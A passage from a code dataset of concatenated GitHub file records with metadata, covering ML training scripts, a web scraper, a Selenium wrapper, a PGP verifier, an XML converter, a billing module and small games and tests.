self.assertEqual(data['level'], 'Beginner')\n\n # Test POST request to /api/levels with invalid data\n data = {'age': 0, 'completed_projects': 0, 'completed_courses': 0, 'languages': ['Scratch'], 'tools': [], 'complexity': 1}\n headers = {'Content-Type': 'application/json'}\n response = self.client.post('/api/levels', data=json.dumps(data), headers=headers)\n self.assertEqual(response.status_code, 400)\n","repo_name":"ChinweIjy1/Kids-Coding-Search-Website","sub_path":"tests/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19223166543","text":"import urllib.request,urllib.parse,urllib.error\nfrom bs4 import BeautifulSoup\nurl = 'http://py4e-data.dr-chuck.net/known_by_Peige.html'\nprocess = 4\nnumber = 3\n\nhtml = urllib.request.urlopen(url).read()\nsoup = BeautifulSoup(html,'html.parser')\ncount = 0\nlink = soup.find_all('a')\nfor i in link:\n\tprint(i.get('href'))\n\tcount = count + 1\n\tif count == number -1:\n\t\t# print(count)\n\t\tup_link = i.get('href')\n\t\tbreak\nprint(up_link)\n\nfor i in range(process):\n\thtml = urllib.request.urlopen(up_link).read()\n\tsoup = BeautifulSoup(html,'html.parser')\n\n","repo_name":"rak1b/ShopOnline","sub_path":"Python Codes/bs4_2.py","file_name":"bs4_2.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15549234547","text":"from PIL.Image import new\nfrom numpy.random.mtrand import shuffle\nimport torch\nfrom torch import optim,nn\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nimport wandb\nimport sklearn\nfrom torch.utils.data.sampler import SubsetRandomSampler\nfrom torch.optim.lr_scheduler import StepLR\n# import splitfolders \n\n# import load_split_train_test\ndef sweep(config=None):\n bs = 32\n print(\"SCRIPT RUNINNG\")\n root = os.getcwd()\n datafolder = root + \"/data/Dataset120507\"\n print(datafolder)\n\n # Gideon's mac testing\n # datafolder = \"/Users/zhiiikaiii/Documents/GitHub/cancer/tiny\"\n\n train_transforms = transforms.Compose([transforms.Resize(224),\n transforms.ToTensor(),\n ])\n valid_transforms = transforms.Compose([transforms.Resize(224),\n transforms.ToTensor(),\n ])\n train_dir = datafolder + \"/train\"\n valid_dir = datafolder + \"/val\"\n # train_dir = datafolder + \"/train\"\n # valid_dir = datafolder + \"/val\"\n train_data = datasets.ImageFolder(train_dir, transform=train_transforms)\n valid_data = datasets.ImageFolder(valid_dir, transform=valid_transforms)\n trainloader = torch.utils.data.DataLoader(train_data, batch_size=bs,shuffle=True)\n validloader = torch.utils.data.DataLoader(valid_data, batch_size=bs,shuffle=False)\n\n test_dir = datafolder + \"/test\"\n test_transforms = transforms.Compose([transforms.Resize(224),\n transforms.ToTensor()])\n test_data = datasets.ImageFolder(test_dir, transform=test_transforms)\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n testloader = torch.utils.data.DataLoader(test_data, batch_size=bs,shuffle=True)\n \n # initialise a new wandb run\n with wandb.init(config=config):\n config = wandb.config\n #### ASSERT ANY INVALID COMBINATION/PARAMETERS####\n if (config.model == 'resnet50_lsm'):\n assert (config.criterion == 'NLLLoss'), \"only use resnet with logsoftmax with NLLLoss criterion\"\n if (config.model == 'resnet18_lsm'):\n assert (config.criterion == 'NLLLoss'), \"only use resnet with logsoftmax with NLLLoss criterion\"\n assert (config.bs > 0), \"Batch size cannot be < 1\"\n assert (config.lr >= 0 and config.lr < 1), \"Learning rate must be 0 >= do < 1\"\n assert (config.do >= 0 and config.do <= 1), \"Dropout rate must be 0 >= do < 1\"\n assert (config.epochs > 0), \"Epoch must be a positive integer\"\n\n #######################################\n run_name = \"{}-unfreeze_n_layer:{}-do:{}-w_decay:{}-opt:{}-crit:{}\".format(config.model,config.unfreeze_n_last_layer, config.do,config.w_decay,config.optimizer,config.criterion)\n print(\"Running: \" + run_name)\n wandb.run.name = run_name\n total_epoch = config.epochs\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n #clear GPU cache\n torch.cuda.empty_cache()\n if config.criterion == 'NLLLoss': \n criterion = nn.NLLLoss()\n elif config.criterion == 'CrossEntropyLoss':\n criterion = nn.CrossEntropyLoss()\n # Binary Cross-Entropy Loss\n # Hinge Loss\n # Squared Hinge Loss\n # SigmoidCrossEntropyLoss\n else:\n assert False, \"No such loss function.\" \n if config.model ==\"densenet161\":\n model = models.densenet161(pretrained=True)\n if config.unfreeze_n_last_layer == 0:\n layer_count = 0\n for param in model.parameters():\n if layer_count <= 484-config.unfreeze_n_last_layer:\n param.requires_grad = False\n layer_count +=1\n model.classifier = nn.Sequential(nn.Linear(2208, 2208),\n nn.ReLU(inplace=True),\n nn.Dropout(config.do),\n nn.Linear(2208, 1024),\n nn.ReLU(inplace=True),\n nn.Dropout(config.do),\n nn.Linear(1024, 2),\n nn.LogSoftmax(dim=1))\n if config.optimizer ==\"Adam\":\n optimizer = optim.Adam(model.classifier.parameters(), lr=config.lr, weight_decay= config.w_decay)\n\n model.to(device)\n wandb.watch(model, log=\"all\")\n\n #start training\n print(\"entered sweep_train\")\n # running_loss = 0\n scheduler = StepLR(optimizer, step_size=30, gamma=0.1,verbose=True)\n for epoch in range(total_epoch):\n TP,FN,FP,TN = 0,0,0,0\n train_losses,val_losses,accuracies=[],[],[]\n test_accuracies,test_sensitivities,test_specificities,test_precisions,test_f1scores = [],[],[],[],[]\n running_loss = 0\n # train\n model.train()\n for inputs, labels in trainloader:\n inputs, labels = inputs.to(device), labels.to(device)\n optimizer.zero_grad()\n outputs = model.forward(inputs)\n loss = criterion(outputs, labels)\n # optimise\n loss.backward()\n optimizer.step()\n # calculate loss\n running_loss += loss.item()\n # validate\n model.eval()\n val_loss = 0\n with torch.no_grad():\n for i, (inputs, labels) in enumerate(validloader):\n inputs, labels = inputs.to(device),labels.to(device)\n outputs = model.forward(inputs)\n batch_loss = criterion(outputs, labels)\n val_loss += batch_loss.item()\n \n ps = torch.exp(outputs)\n #take top probability\n top_p, top_class = ps.topk(1, dim=1)\n confusion_vector = top_class.flatten() / labels\n # - 1 and 1 (True Positive) 1\n # - 1 and 0 (False Positive) inf\n # - 0 and 0 (True Negative) nan\n # - 0 and 1 (False Negative) 0\n TP += torch.sum(confusion_vector == 1).item()\n FP += torch.sum(confusion_vector == float('inf')).item()\n TN += torch.sum(torch.isnan(confusion_vector)).item()\n FN += torch.sum(confusion_vector == 0).item()\n # save model for each epoch so that we can pick the best\n # torch.save(model.state_dict(), os.path.join(root+\"//models//\"+run_name, 'epoch-{}.pth'.format(epoch)))\n scheduler.step()\n accuracy = (TP+TN)/(TP+TN+FP+FN)\n # sensitivity = TP/(TP+FN)\n # specificity = TN/(TN+FP)\n # precision = TP/(TP+FP)\n # F1score = TP/(TP+0.5*(FP+FN))\n\n train_losses.append(running_loss/len(trainloader))\n val_losses.append(val_loss/len(validloader))\n accuracies.append(accuracy) \n # sensitivities.append(sensitivity) \n # specificities.append(specificity) \n # precisions.append(precision) \n # f1scores.append(F1score) \n # log epoch loss here\n print(\"Epoch:\", epoch+1,\"/\",total_epoch)\n wandb.log({\"Epoch\": epoch, \n \"train_loss\": train_losses[-1],\n \"val_loss\": val_losses[-1],\n \"val_accuracy\": accuracies[-1]\n # \"val_sensitivity\":sensitivities [-1],\n # \"val_specificity\":specificities[-1],\n # \"val_precision\":precisions[-1],\n # \"val_f1_score\": f1scores[-1]\n },commit = False)\n print(\"finished epoch training\")\n # test\n TP,FN,FP,TN = 0,0,0,0 # reset for test data\n for inputs, labels in testloader:\n inputs, labels = inputs.to(device), labels.to(device)\n outputs = model.forward(inputs)\n ps = torch.exp(outputs)\n top_p, top_class = ps.topk(1, dim=1)\n confusion_vector = top_class.flatten() / labels\n\n TP += torch.sum(confusion_vector == 1).item()\n FP += torch.sum(confusion_vector == float('inf')).item()\n TN += torch.sum(torch.isnan(confusion_vector)).item()\n FN += torch.sum(confusion_vector == 0).item()\n accuracy = (TP+TN)/(TP+TN+FP+FN)\n sensitivity = TP/(TP+FN)\n specificity = TN/(TN+FP)\n precision = TP/(TP+FP)\n F1score = TP/(TP+0.5*(FP+FN))\n assert (accuracy >= 0 and accuracy <= 1), \"Accuracy must be greater than 0 and smaller than 1\"\n assert (sensitivity >= 0 and sensitivity <= 1), \"Sensitivity must be greater than 0 and smaller than 1\"\n assert (specificity >= 0 and specificity <= 1), \"Specificity must be greater than 0 and smaller than 1\"\n assert (precision >= 0 and precision <= 1), \"Precision must be greater than 0 and smaller than 1\"\n assert (F1score >= 0 and F1score <= 1), \"F1-score must be greater than 0 and smaller than 1\"\n\n test_accuracies.append(accuracy)\n test_sensitivities.append(sensitivity) \n test_specificities.append(specificity) \n test_precisions.append(precision) \n test_f1scores.append(F1score) \n wandb.log({\"test_accuracy\": test_accuracies[-1],\n \"test_sensitivity\":test_sensitivities [-1],\n \"test_specificity\":test_specificities[-1],\n \"test_precision\":test_precisions[-1],\n \"test_f1_score\": test_f1scores[-1]\n })\n # sweep finished\n\nimport wandb\nimport os\n\n\n################################################################################\n### Modify here for changing hyper-parameter options for tuning\n# root= os.getcwd()\n# comment out to allow sending sweep information to online server for visualisation\n# os.environ[\"WANDB_MODE\"] = \"dryrun\" #Activate for offline testing\n\nsweep_config = {\n \"name\" : \"densenet-sweep\",\n \"method\": \"grid\",\n 'metric': {\n 'name': 'val_accuracy',\n 'goal': 'maximize' \n },\n # modify the list of options for parameters below\n \"parameters\" : {\n \"model\" : {\n \"value\" : 'densenet161'\n },\n \"epochs\" : {\n \"values\" : [15]\n },\n \"lr\" : {\n \"values\" : [0.0001]\n },\n \"do\" : {\n \"values\" : [0]\n },\n \"bs\" : {\n \"values\" : [32]\n },\n \"optimizer\" : {\n \"values\" : ['Adam']\n },\n \"criterion\" : {\n \"values\" : ['NLLLoss']\n },\n \"w_decay\":{\n \"values\" : [0.001]\n },\n \"unfreeze_n_last_layer\":{\n \"values\" : [0,5,10,20]\n }\n }\n}\n# maximum number of configurations to run\nmax_runs = 10\n\nwandb.login()\n# change to your entity and project when running\nsweep_id = wandb.sweep(sweep_config, entity = 'team17', project = 'cancer')\n\n##################################################################################\nwandb.agent(sweep_id, function=sweep, count=max_runs)\n","repo_name":"gideonTeo/Cancer-","sub_path":"densenet_sweeps.py","file_name":"densenet_sweeps.py","file_ext":"py","file_size_in_byte":11477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23375230091","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n'''\r\nCreated on May 5, 2012\r\n\r\n@author: daniel\r\n'''\r\nfrom Solver import Solver\r\nfrom itertools import combinations\r\nfrom collections import defaultdict\r\n\r\nresult = \"\\n%s\\n%s\"\r\n\r\nclass Sums(Solver):\r\n def solve(self, case):\r\n ints, *nums = map(int, self.fhi.readline().split())\r\n\r\n sums = defaultdict(list)\r\n\r\n for i in range(1, ints + 1):\r\n combos = combinations(nums, i)\r\n for combo in combos:\r\n s = sum(combo)\r\n\r\n sums[s].append(combo)\r\n if len(sums[s]) == 2 and not (set(sums[s][0]) & set(sums[s][1])):\r\n s0 = ' '.join(map(str, sums[s][0]))\r\n s1 = ' '.join(map(str, sums[s][1]))\r\n self.output(case, result % (s0, s1))\r\n\r\n return\r\n\r\nif __name__ == '__main__':\r\n Sums(r'data/c_small.txt', r'data/c_small_out.txt')\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_104/208.py","file_name":"208.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15077696382","text":"from sqlite3 import Row\nfrom typing import Optional\n\nfrom fastapi import Query\nfrom pydantic import BaseModel\n\n\nclass CreateLocalBitcoinsData(BaseModel):\n name: str\n wallet: str\n\n\nclass LocalBitcoins(BaseModel):\n id: str\n wallet: str\n name: str\n\n @classmethod\n def from_row(cls, row: Row) -> \"LocalBitcoins\":\n return cls(**dict(row))\n\n\nclass PayLnurlWData(BaseModel):\n lnurl: str\n","repo_name":"bmewj/nostr-localbitcoins","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4284281199","text":"import os\nimport warnings\n\nimport numpy as np\n\nimport pandas as pd\nfrom collections import defaultdict, OrderedDict\n\nfrom keras.callbacks import Callback\n\nimport matplotlib.pyplot as plt\nfrom skimage.measure import find_contours\nfrom skimage.util.montage import montage2d\nmontage_rgb = lambda x: np.stack([montage2d(x[:, :, :, i]) for i in range(x.shape[3])], -1)\n\nclass ProgeressPlot(Callback):\n def __init__(self, test_gen, monitor='val_jaccard', mode='auto', save_dir='.'): \n self.probe_img, self.probe_mask = test_gen\n self.save_dir=save_dir\n self.monitor=monitor\n \n if mode not in ['auto', 'min', 'max']:\n warnings.warn('Progress_plot mode %s is unknown, '\n 'fallback to auto mode.' % (mode))\n mode = 'auto'\n\n if mode == 'min':\n self.monitor_op = np.less\n self.best = np.Inf\n elif mode == 'max':\n self.monitor_op = np.greater\n self.best = -np.Inf\n else:\n if 'acc' in self.monitor or self.monitor.startswith('fmeasure'):\n self.monitor_op = np.greater\n self.best = -np.Inf\n else:\n self.monitor_op = np.less\n self.best = np.Inf\n \n def on_train_begin(self, logs={}):\n if not os.path.exists(self.save_dir):\n os.makedirs(self.save_dir)\n return\n \n def on_epoch_end(self, epoch, logs={}):\n current = logs.get(self.monitor)\n if current is not None:\n if self.monitor_op(current, self.best):\n predict=self.model.predict(self.probe_img)\n \n fig, (ax1, ax3, ax4) = plt.subplots(1, 3, figsize = (40, 10))\n ax1.imshow(montage_rgb(self.probe_img)*0.5+0.5, cmap='gray')\n ax1.set_title('Original images')\n ax3.imshow(montage2d(predict[:, :, :, 0]), cmap = 'gray')\n ax3.set_title('Predictions');\n ax4.imshow(montage2d(self.probe_mask[:, :, :, 0]), cmap = 'gray')\n ax4.set_title('Original Masks'); \n plt.savefig(os.path.join(\n self.save_dir, 'sample1_%d_epoch.png' % (epoch+1)),dpi=300)\n plt.close('all')\n \n fig, ax1= plt.subplots(1, 1, figsize = (10, 10))\n ax1.imshow(montage_rgb(self.probe_img)*0.5+0.5)\n ax1.imshow(montage2d(predict[:, :, :, 0]), cmap='gray', alpha=0.3)\n ax1.set_title('Image VS prediction');\n\n contours_masks = find_contours(montage2d(self.probe_mask[:, :, :, 0]), level=0.99)\n for contour in contours_masks:\n ax1.plot(contour[:, 1], contour[:, 0], \"--r\", linewidth=0.5)\n\n contours_predictions = find_contours(montage2d(predict[:, :, :, 0]), level=0.9)\n for contour in contours_predictions:\n ax1.plot(contour[:, 1], contour[:, 0], \"--b\", linewidth=0.5)\n \n plt.savefig(os.path.join(\n self.save_dir, 'sample2_%d_epoch.png' % (epoch+1)),dpi=300)\n plt.close('all')\n self.best = current\n print(\"Saved predicted images.\") \n return\n\nclass ProgressSave(Callback):\n def __init__(self, file_mode='a', save_dir='.', filename='unknown.csv'):\n self.file_mode=file_mode\n self.save_dir=save_dir\n self.filename = filename\n self.filepath = os.path.join(self.save_dir, self.filename)\n \n def on_train_begin(self, logs={}):\n if not os.path.exists(self.save_dir):\n os.makedirs(self.save_dir)\n \n if os.path.exists(self.filepath) and self.file_mode == 'w':\n os.remove(self.filepath)\n self.file_df=pd.DataFrame()\n f = open(self.filepath,\"w+\")\n print(\"ProgressSave: [INFO] Creating file...\")\n f.close()\n \n elif os.path.exists(self.filepath) and self.file_mode == 'a': \n self.file_df=pd.read_csv(self.filepath)\n print(\"ProgressSave: [INFO] File found.\")\n \n if not os.path.exists(self.filepath):\n self.file_df=pd.DataFrame()\n f = open(self.filepath,\"w+\")\n print(\"ProgressSave: [INFO] Creating file...\")\n f.close()\n return\n \n def on_epoch_end(self, epoch, logs={}):\n self.logs=logs\n if 'lr' not in logs.keys():\n logs['lr'] = K.get_value(self.model.optimizer.lr)\n \n row_dict = OrderedDict({'epoch': [epoch+1]})\n row_dict.update((key, logs[key]) for key in logs.keys())\n temp_df = pd.DataFrame.from_dict(row_dict)\n self.file_df=pd.concat([self.file_df,temp_df])\n self.file_df.to_csv(self.filepath,index=False)\n return","repo_name":"kovmartin/DD2424VT191_Group90","sub_path":"Final solution/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2737975112","text":"import gnupg\n\ndef verify_pgp_signature(signature_path:str, data_path:str, public_key_path:str)->None:\n gpg = gnupg.GPG(gnupghome='/path/to/gnupg/home')\n\n # Import the public key\n with open(public_key_path, 'rb') as f:\n public_key_data = f.read()\n import_result = gpg.import_keys(public_key_data)\n print(\"Imported key fingerprint: \", import_result.fingerprints)\n\n # Verify the signature\n with open(signature_path, 'rb') as f:\n signature_data = f.read()\n with open(data_path, 'rb') as f:\n data = f.read()\n verify = gpg.verify(signature_data, data)\n if verify:\n print(\"Signature is valid!\")\n else:\n print(\"Signature is invalid!\")\n\nverify_pgp_signature(\"path/to/signature.asc\", \"path/to/data.txt\", \"path/to/public_key.asc\")\n","repo_name":"aeonborealis/SDAAG","sub_path":"verify_pgp_signature.py","file_name":"verify_pgp_signature.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"12470061489","text":"import time\nimport re, csv\nfrom random import uniform, randint\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException\n\n\nclass HeadlessBrowser(object):\n def __init__(self, attacker=None, driver_path=None, browser_path=None):\n self.attach = attacker\n self.driver = self.load_driver(executable_path=driver_path, binary_location=browser_path)\n\n def load_driver(self, binary_location=None, executable_path=None):\n options = Options()\n options.binary_location = binary_location\n options.add_argument('--headless')\n driver = webdriver.Chrome(chrome_options=options, executable_path=executable_path)\n return driver\n\n def request(self, url):\n self.driver.get(url)\n\n def wait_parse(self, parser, sleep_time=1, timeout=10):\n sleep_count = 0\n images = parser(self.driver)\n while not images:\n sleep_count += 1\n time.sleep(sleep_time)\n print('waiting...')\n if sleep_count == timeout:\n success = self.attach(self.driver)\n if success:\n sleep_count = 0\n if sleep_count > timeout:\n self.driver.save_screenshot('../error-screen.png')\n raise Exception('Time out')\n images = parser(self.driver)\n self.driver.save_screenshot('../error-screen.png')\n return images\n\n def get_next_page(self, pagination_parser):\n current_page = pagination_parser.get_current_page(self.driver)\n pages = pagination_parser.get_pages(self.driver)\n if current_page >= pages:\n raise Exception('Next page does not exist.')\n return current_page + 1\n\n def stop_crawl(self):\n self.driver.quit()\n","repo_name":"kousuke-takeuchi/manga-dl","sub_path":"manga_dl/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"460069601","text":"import pygame\nfrom pygame.sprite import Sprite\n\nclass Alien(Sprite):\n \"\"\"함대에 속한 외계인 하나를 담당하는 클래스\"\"\"\n\n def __init__(self, ai_game):\n \"\"\"외계인을 초기화하고 시작 위치를 정합니다\"\"\"\n super().__init__()\n self.screen = ai_game.screen\n self.settings = ai_game.settings\n\n #외계인 이미지를 불러오고 rect 속성을 설정합니다\n self.image = pygame.image.load('alien_invasion/images/alien.bmp')\n self.rect = self.image.get_rect()\n\n #외계인을 화면 좌측 상단에 배치합니다\n self.rect.x = self.rect.width\n self.rect.y = self.rect.height\n\n #외계인의 정확한 가로 위치를 저장합니다\n self.x = float(self.rect.x)\n \n def check_edges(self):\n \"\"\"외계인이 화면 경계에 닿으면 True를 반환합니다\"\"\"\n screen_rect = self.screen.get_rect()\n\n if self.rect.right >= screen_rect.right or self.rect.left <= 0:\n return True\n \n def update(self):\n \"\"\"외계인을 오른쪽으로 움직입니다\"\"\"\n self.x += (self.settings.alien_speed *\n self.settings.fleet_direction)\n self.rect.x = self.x","repo_name":"Hikarigaoka/pcc_study","sub_path":"alien_invasion/alien.py","file_name":"alien.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3611025308","text":"#coding:utf-8\nu'''\nxml转json\n不考虑xml标签属性\n'''\nfrom xml.etree import ElementTree\n\ndef xml2json(s):\n root = ElementTree.fromstring(s)\n #初始化\n result = {root.tag:_parse(root)}\n return result\n\ndef _parse(ele):\n result = None\n tags = []\n p_childs = []\n for child in ele.getchildren():\n #统计子元素\n tags.append(child.tag)\n #递归调用自身\n p_childs.append((child.tag, _parse(child)))\n \n if not tags:\n #文本处理\n text = ele.text\n if text is not None:\n text = text.strip()\n else:\n text = ''\n return text\n \n if len(set(tags)) < len(tags):\n #列表处理 子元素存在不同标签则为列表\n result = []\n result = [dict([x]) for x in p_childs]\n else:\n #字典处理\n result = {}\n result = dict(p_childs)\n return result\n\n\n\nif __name__ == \"__main__\":\n s = '''\n \n \n Not Known\n 1/64010/5227\n \n 9426793\n \n '''\n with open('aaa.xml', 'r') as f:\n s = f.read()\n obj = xml2json(s)\n print (obj)\n #from xmlutils.xml2json import xml2json\n #obj = xml2json('aaa.xml').get_json()\n #import json\n #obj = json.loads(obj)\n","repo_name":"kapokcloud-inc/theonestore","sub_path":"app/ext/xml2json.py","file_name":"xml2json.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"14767278388","text":"from collections import defaultdict\nfrom datetime import date\nfrom decimal import Decimal\n\nfrom juntagrico_billing.dao.subscription_parts import\\\n subscription_parts_by_date, subscription_parts_member_date\nfrom juntagrico_billing.entity.bill import Bill, BillItem\nfrom juntagrico_billing.entity.settings import Settings\n\n\ndef scale_subscriptionpart_price(part, fromdate, tilldate):\n \"\"\"\n scale subscription part price for a certain date interval.\n \"\"\"\n\n if len(part.type.periods.all()):\n # calculate price based on billing periods.\n # takes into account periods that overlap with the requested interval.\n period_prices = []\n for period in part.type.periods.all():\n period_start = date(fromdate.year, period.start_month, period.start_day)\n period_end = date(fromdate.year, period.end_month, period.end_day)\n if period_start <= tilldate and period_end >= fromdate:\n # calculate the resulting start and end of the period that overlaps\n # with the activation date and our requested date interval\n eff_start = max(fromdate, max(period_start, part.activation_date or date.min))\n eff_end = min(tilldate, min(period_end, part.deactivation_date or date.max))\n\n # scale the period price\n full_days = (period_end - period_start).days + 1\n eff_days = (eff_end - eff_start).days + 1\n\n period_prices.append(period.price * Decimal(eff_days / full_days))\n\n # round to .05\n return round(Decimal(2.0) * sum(period_prices), 1) / Decimal('2.0')\n\n # otherwise\n # calculate price without billing periods.\n # just scale the subscription type price proportionately\n days_period = (tilldate - fromdate).days + 1\n if part.activation_date and part.activation_date <= tilldate:\n part_start = max(part.activation_date or date.min, fromdate)\n part_end = min(part.deactivation_date or date.max, tilldate)\n days_part = (part_end - part_start).days + 1\n return round(part.type.price * Decimal(2.0 * days_part / days_period), 1) / Decimal('2.0')\n\n return 0\n\n\ndef get_billable_subscription_parts(business_year):\n \"\"\"\n get all subscription parts that are active during the given period and\n don't have a corresponding bill.\n \"\"\"\n from_date = business_year.start_date\n till_date = business_year.end_date\n\n # prepare a dictionary with member, subscription_part tuples as keys\n # based on the bills of this year\n bill_items = BillItem.objects.filter(bill__business_year=business_year)\n bill_parts = [itm.subscription_part for itm in bill_items if itm.subscription_part]\n\n # get all active subscription parts for billing period\n active_parts = subscription_parts_by_date(from_date, till_date)\n\n # get parts that are not billed yet\n billed_dict = dict([(part, None) for part in bill_parts])\n\n not_billed = [part for part in active_parts if part not in billed_dict]\n\n return not_billed\n\n\ndef update_bill_parts(bill, subscription_parts):\n \"\"\"\n update a bill with the given subscription parts.\n all existing parts will be removed and replaced by the new ones.\n \"\"\"\n # remove existing subscription part items\n for itm in bill.items.all():\n if itm.subscription_part:\n itm.delete()\n\n for part in subscription_parts:\n price = scale_subscriptionpart_price(\n part,\n bill.business_year.start_date,\n bill.business_year.end_date)\n text = str(part.type)\n bill_item = BillItem.objects.create(\n bill=bill, subscription_part=part,\n amount=float(price), description=text)\n # vat amount is calculated on save\n bill_item.save()\n\n # set total amount on bill\n bill.amount = sum([itm.amount for itm in bill.items.all()])\n bill.save()\n\n\ndef create_bill(billable_items, businessyear, bill_date, vat_rate=0.0):\n booking_date = max(businessyear.start_date, bill_date)\n\n # make sure all billables belong to the same member\n billables_per_member = group_billables_by_member(billable_items)\n if len(billables_per_member) > 1:\n raise Exception('billable items belong to different members')\n\n # create bill for member\n member = list(billables_per_member.keys())[0]\n bill = Bill.objects.create(business_year=businessyear, amount=0.0, member=member,\n bill_date=bill_date, booking_date=booking_date,\n vat_rate=vat_rate)\n\n update_bill_parts(bill, billable_items)\n return bill\n\n\ndef recalc_bill(bill):\n \"\"\"\n update an existing bill with all items that are not\n on another bill in the same businessyear.\n \"\"\"\n # get all subscription parts for member and businessyear\n year = bill.business_year\n member = bill.member\n parts_in_year = subscription_parts_member_date(\n member, year.start_date, year.end_date)\n\n # determine if part is on another bill in the same year\n def is_on_other_bill(part):\n items = part.bill_items.all()\n for itm in items:\n if itm.bill:\n if itm.bill != bill:\n if itm.bill.business_year == year:\n return True\n return False\n\n parts = [part for part in parts_in_year\n if not is_on_other_bill(part)]\n\n update_bill_parts(bill, parts)\n\n\ndef group_billables_by_member(billable_items):\n \"\"\"\n returns a dictionary grouping the billable subscription parts\n per member.\n \"\"\"\n # group the subscription parts per member\n parts_per_member = defaultdict(list)\n\n for part in billable_items:\n parts_per_member[part.subscription.primary_member].append(part)\n\n return parts_per_member\n\n\ndef create_bills_for_items(billable_items, businessyear, bill_date):\n \"\"\"\n Create bills based on a list of subscriptions and extrasubscriptions.\n Creates a bill per member and adding the subscriptions and extrasubscriptions\n \"\"\"\n # get current vat percentage from settings\n vat_rate = Settings.objects.first().vat_percent / 100\n\n # get dictionary of billables per member\n items_per_member = group_billables_by_member(billable_items)\n\n # create a bill per member\n bills = []\n for items in items_per_member.values():\n bills.append(create_bill(items, businessyear, bill_date, vat_rate))\n\n return bills\n\n\ndef get_open_bills(businessyear, expected_percentage_paid):\n \"\"\"\n get unpaid bills from a businessyear, filtering on unpaid amount.\n bills are considered open, if the percentage of paid amount is less\n than the given expected percentage.\n \"\"\"\n # fetch unpaid bills, SQL filtered\n unpaid_bills = businessyear.bills.filter(paid=False, published=True)\n\n return [\n bill for bill in unpaid_bills\n if (bill.amount > 0) and (bill.amount_paid / bill.amount * 100.0 < expected_percentage_paid)]\n\n\ndef get_unpublished_bills():\n \"\"\"\n get bills not published yet (no visible to members).\n \"\"\"\n return Bill.objects.filter(published=False)\n\n\ndef publish_bills(id_list):\n \"\"\"\n Publishes a set of bills given by their ids.\n \"\"\"\n for bill_id in id_list:\n bill = Bill.objects.get(pk=bill_id)\n bill.published = True\n bill.save()\n","repo_name":"juntagrico/juntagrico-billing","sub_path":"juntagrico_billing/util/billing.py","file_name":"billing.py","file_ext":"py","file_size_in_byte":7358,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"41225099004","text":"'''\nModel definitions for tensorflow.keras model architectures\n'''\n\nimport numpy as np\nimport os\nimport tensorflow as tf\nfrom tensorflow.python.keras.models import Sequential, Model\nfrom tensorflow.python.keras.layers import Dropout, Input\nfrom tensorflow.python.keras.layers import Dense, Flatten\nfrom tensorflow.python.keras.optimizers import Adam\nfrom tensorflow.python.keras.metrics import categorical_crossentropy\nfrom tensorflow.python.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras import datasets, layers, models\n\n\ndef vgg16_base(input_shape=(224,224,3), frozen_layers=(0,-4)):\n vgg16_model = tf.keras.applications.vgg16.VGG16(weights='imagenet',\n include_top=False, input_tensor=Input(shape=input_shape))\n for layer in vgg16_model.layers[frozen_layers[0]:frozen_layers[1]]:\n layer.trainable = False\n return vgg16_model\n\ndef xception_base(num_classes=10000,frozen_layers=(0,-4)):\n xception = tf.keras.applications.xception.Xception(include_top=False,\n weights='imagenet', input_tensor=None,\n input_shape=None, pooling=None, classes=num_classes)\n for layer in xception.layers[frozen_layers[0]:frozen_layers[1]]:\n layer.trainable = False\n return xception\n\ndef resnet_50_v2_base(num_classes=10000,frozen_layers=(0,-4)):\n model = tf.keras.applications.resnet_v2.ResNet50V2(include_top=False,\n weights='imagenet', input_tensor=None,\n input_shape=None, pooling=None, classes=num_classes)\n for layer in model.layers[frozen_layers[0]:frozen_layers[1]]:\n layer.trainable = False\n return model\n\ndef resnet_101_v2_base(num_classes=10000,frozen_layers=(0,-4)):\n model= tf.keras.applications.resnet_v2.ResNet101V2(include_top=False,\n weights='imagenet', input_tensor=None,\n input_shape=None, pooling=None, classes=num_classes)\n for layer in model.layers[frozen_layers[0]:frozen_layers[1]]:\n layer.trainable = False\n return model\n\ndef shallow(input_shape=(224,224,3)):\n\n model = models.Sequential()\n model.add(layers.Conv2D(64, (7, 7), activation='relu', input_shape=input_shape))\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Conv2D(64, (7, 7), activation='relu'))\n model.add(layers.MaxPooling2D((2, 